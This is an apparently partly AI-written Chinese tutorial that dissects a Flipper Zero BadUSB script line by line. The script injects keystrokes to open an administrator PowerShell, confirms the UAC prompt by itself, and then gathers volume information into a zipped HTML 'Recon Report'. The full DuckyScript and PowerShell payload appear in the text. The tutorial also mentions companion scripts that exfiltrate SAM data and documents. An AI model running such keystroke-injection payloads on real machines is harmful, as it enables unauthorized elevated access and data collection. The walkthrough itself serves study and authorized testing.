Flipper Zero BadUSB 侦察脚本实战解析:用 USB_And_Harddrive_Information 收集目标主机 USB 与硬盘信息
【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper
本篇技术指南聚焦于 Flipper Zero 的 BadUSB 应用场景,深入拆解 UNC0V3R3D-BadUSB-Collection 中 Exfiltration/USB_And_Harddrive_Information 目录下的侦察脚本。读完本文,你将掌握该脚本的完整运行流程、每一行 DuckyScript 与 PowerShell 的底层逻辑、必须手工修改的配置项,以及如何在授权环境下安全地测试与扩展它。
脚本概览:它到底做了什么
USB_And_Harddrive_Information.txt是一个用DuckyScript 1.0编写的 Flipper Zero BadUSB 载荷(集合 README 明确说明该仓库所有脚本均基于 DuckyScript 1.0)。它的核心任务是:当目标 Windows 电脑插入 Flipper Zero 并被识别为键盘后,自动完成以下三件事——
- 打开 PowerShell:以管理员权限启动 PowerShell 会话;
- 获取硬件信息:枚举目标电脑上当前连接以及曾经连接过的 USB 卷(
win32_volume),提取驱动器名称、卷标与剩余空间; - 保存信息到文件:将结果渲染成一份带样式的 HTML 报告,保存到用户目录下新建的文件夹中,最后压缩成 ZIP 包,并尝试通过
Compress-Archive写入指定路径。
仓库中与该脚本同目录的 readme.md 将脚本归类为Exfiltration(数据外传)类别,作者为UNC0V3R3D,版本为 1.0。脚本头部注释也给出了同样的元信息:
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) REM Description: Saves some general Information about the USB and Harddrives REM Version: 1.0 REM Category: Exfiltration需要强调的是,该脚本所在的整个集合在 README.md 中被明确声明为仅供教育目的使用,并要求使用者在使用任何脚本前获得授权、建议在虚拟机中测试。本文所有分析均面向学习与研究场景。
上手前的必备准备
部署到 Flipper Zero
按照集合 README.md 的安装说明,将脚本部署到 Flipper Zero 的流程为:
- 将
USB_And_Harddrive_Information.txt拷贝到 Flipper Zero SD 卡的badusb目录; - 使用 qFlipper 应用(或手机端 Flipper Zero 应用)连接设备,将文件拖入
SD Card --> badusb; - 在 Flipper 上进入
BadUSB分类,选择该脚本并连接目标电脑后,按中间按钮开始执行。
唯一的强制修改点:输出路径
readme 中明确强调:该脚本不是即插即用的(not plug and play),必须修改一行配置才能正常工作。需要改动的是脚本最后一行 PowerShell 命令中的目标路径:
Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip ; exit请将PATH TO SAVE FILE HERE替换为你希望 ZIP 包落盘的绝对路径,例如:
Compress-Archive -Path $fileSaveDir -DestinationPath C:\Users\Public\Documents\HEREresults-68597243.zip ; exit- 若路径不存在或目标无写权限,
Compress-Archive会直接报错,压缩步骤将失败(但 HTML 报告仍已写入用户目录,信息并未丢失); -DestinationPath以.zip结尾,Compress-Archive会自动创建该 ZIP 文件;- 文件名中的
68597243是一串随机数后缀,用于在众多报告中做唯一区分,可以保留也可以自行更换。
运行流程逐步拆解
阶段一:键盘模拟与 UAC 提权(DuckyScript 部分)
脚本的前半段完全由 DuckyScript 命令构成,负责把 Flipper Zero 模拟成键盘完成一系列按键注入:
DELAY 750 WINDOWS d DELAY 900 WINDOWS r DELAY 900 STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 900 ALT y DELAY 900 GUI UP DELAY 900逐行含义如下:
| 命令 | 作用 | 为什么需要 |
|---|---|---|
DELAY 750 | 等待 750ms | 让目标系统在设备插入后完成 USB 枚举与键盘驱动加载,避免后续按键丢失 |
WINDOWS d | 按下 Win+D | 显示桌面、收起焦点窗口,保证后续按键注入到干净的环境 |
WINDOWS r | 按下 Win+R | 打开"运行"对话框 |
STRING powershell Start-Process powershell -Verb runAs | 逐字符输入命令 | 通过Start-Process -Verb runAs请求以管理员权限启动一个新的 PowerShell 进程 |
ENTER | 回车 | 执行上面的命令,触发 UAC 提权弹窗 |
DELAY 750 | 等待 | 等待 UAC 弹窗出现 |
LEFTARROW/ENTER | 左箭头 + 回车 | 从脚本结构看,用于在 UAC 弹窗上定位并确认"是"按钮,属于对提权弹窗的交互处理 |
ALT y | Alt+Y | 键盘快捷方式,确认 UAC 的"是(Yes)"选项(UAC 弹窗在键盘焦点下支持 Alt+Y 确认) |
GUI UP | 按下 Win+Up | 将焦点窗口(即刚打开的管理员 PowerShell 窗口)最大化,为后续输入命令做准备 |
这一阶段的要点是时序控制:UAC 弹窗出现速度随系统配置不同而波动,脚本在此处安排了DELAY 750~DELAY 900的多段等待。如果你的测试环境弹出速度更慢,可以按集合 README 的排障建议,把相关DELAY数值调大(例如 900 → 1200)。
阶段二:收集与生成 HTML 报告(PowerShell 部分)
提权完成后,脚本通过STRING命令将一整条 PowerShell 脚本逐字符注入管理员会话。这条长命令是整个脚本的数据收集核心,可以拆解为四个步骤。
第 1 步:创建带时间戳的报告目录
$folderDateTime = (get-date).ToString('d-M-y HHmmss'); $userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost ' + $folderDateTime; $fileSaveDir = New-Item ($userDir) -ItemType Directory;(get-date).ToString('d-M-y HHmmss')生成形如13-9-26 085930的时间戳,确保每次运行生成独立目录,不互相覆盖;- 报告目录会被创建在当前 Windows 用户目录(
%USERPROFILE%)下,命名形如C:\Users\<用户名>\Walkuer Ghost 13-9-26 085930。
第 2 步:定义 HTML 样式并初始化报告文件
$style = '<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;...}</style>'; $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-68597243.html'; $Report = $Report + '<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>';- 内嵌的 CSS 定义了
#body、#left、#right、#center四个区块的布局(浮动分栏、灰色背景、滚动容器),让最终 HTML 具备可读性; ConvertTo-Html -Title 'Recon Report'生成带 HTML 头与<body>骨架的初始内容并写入ComputerInfo-68597243.html;- 随后追加报告标题 "Walkuer Ghost Report" 与生成时间。注意这里的时间是通过
$Report = $Report + '... $Date ...'以单引号字符串拼接的,从实现细节看$Date在单引号内不会被展开,最终 HTML 中这一处显示的是字面量$Date而非实际时间(属于脚本作者遗留的小瑕疵)。
第 3 步:枚举 USB 卷并循环写入表格
这是脚本的数据采集主体,通过后续多条STRING指令逐行注入:
$u = 0; $allUsb = @(get-wmiobject win32_volume | select Name, Label, FreeSpace);Get-WmiObject win32_volume会枚举系统中的所有卷(Win32_Volume 实例),包括本地硬盘卷、U 盘、SD 卡等,并筛选出Name(挂载路径/驱动器号)、Label(卷标)与FreeSpace(剩余字节数)三个属性。
随后的do { ... } while ($u -lt $allUsb.Count)循环对每个卷生成一行 HTML 表格记录:
do { $gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB); $Report = $Report + '<tr><td>Drive Name: </td><td>' + $allUsb[$u].Name + $allUsb[$u].Label + '</td><td>Free Space: </td><td>' + $gbUSB + 'GB</td></tr>'; Write-Output $fullUSB; $u ++; } while ($u -lt $allUsb.Count); $Report = $Report + '</table></div>';[math]::truncate($allUsb[$u].FreeSpace / 1GB)把字节数换算成整数 GB 显示;- 每个卷输出一行:驱动器名 + 卷标 + 剩余空间;
- 循环结束后追加
</table></div>收尾; - 两处实现细节值得注意:一是
Write-Output $fullUSB引用了脚本中从未赋值的变量$fullUSB,从代码逻辑看这行仅输出空值、不影响结果,属于冗余代码;二是从数据源看,win32_volume并不区分"当前插入的 USB"与"曾经连接过的硬盘"——它返回的是系统当前可见的所有卷,这与 readme 描述的"USB 和硬盘信息"语义一致,但若想严格过滤出可移动磁盘,还需要额外按DriveType属性(如DriveType=2表示可移动磁盘)做过滤,这是可以自行扩展的方向。
第 4 步:落盘与压缩
$Report >> $fileSaveDir'/ComputerInfo-68597243.html'; Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip ; exit- 使用
>>将累计的$Report内容追加回 HTML 文件,形成完整的报告; Compress-Archive -Path $fileSaveDir把整个带时间戳的报告目录压缩为 ZIP,输出到你修改过的-DestinationPath;- 命令末尾的
; exit关闭管理员 PowerShell,尽量不留痕迹。
输出产物解读
脚本执行成功后会在目标电脑上留下两类产物:
- HTML 侦察报告:位于
%USERPROFILE%\Walkuer Ghost <时间戳>\ComputerInfo-68597243.html,包含一个标题为 "Walkuer Ghost Report" 的表格,逐行列出了每个卷的驱动器名、卷标和剩余空间(GB); - ZIP 压缩包:位于你配置的
-DestinationPath,内容即上述报告目录。
从实战角度看,这份报告的价值在于快速盘点目标主机的存储拓扑:哪些卷存在、卷标是什么(卷标常包含用户对盘符用途的命名习惯)、各卷剩余空间大小,这些信息可以为进一步的侦察决策提供参考。
同系列脚本与扩展阅读
USB_And_Harddrive_Information位于集合的 Exfiltration 分类下,与该分类中的其他侦察脚本共用同一套"DuckyScript 提权 + PowerShell 收集 + HTML 报告 + ZIP 压缩"骨架,可以对照学习:
General_PC_Information:收集操作系统、序列号、CPU、内存、显卡、防火墙状态等整机信息;Win_User_Info:收集当前 Windows 用户信息;Document_Exfil/Network_Exfiltration/SAMexfil:文档、网络配置与 SAM 数据的外传。
如果你想深入这套脚本的编写风格,集合 README.md 还提供了重要的方法论:该仓库约 97% 的 DuckyScript 都依赖 PowerShell 完成实际工作;脚本中的REM注释行会解释每一步的用途;遇到 "ERROR: line 5" 之类的报错时,优先检查文本中是否存在多余空行、LOCALE指令或行首空格,并适当增大DELAY数值。
安全与合规边界
- 该脚本会触发UAC 管理员提权弹窗,并创建/压缩文件、修改系统目录,属于高权限操作;
- 集合 README.md 与 readme 均强调:仅供教育目的,必须先获得目标系统所有者授权,作者不对使用后果负责;
- 强烈建议在隔离的虚拟机中先跑通流程、验证你修改的
-DestinationPath是否正确,再考虑其他场景; - 在未授权的机器上运行此类脚本,可能违反当地法律法规,请在合法合规的测试环境中使用本文涉及的全部技术。
【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考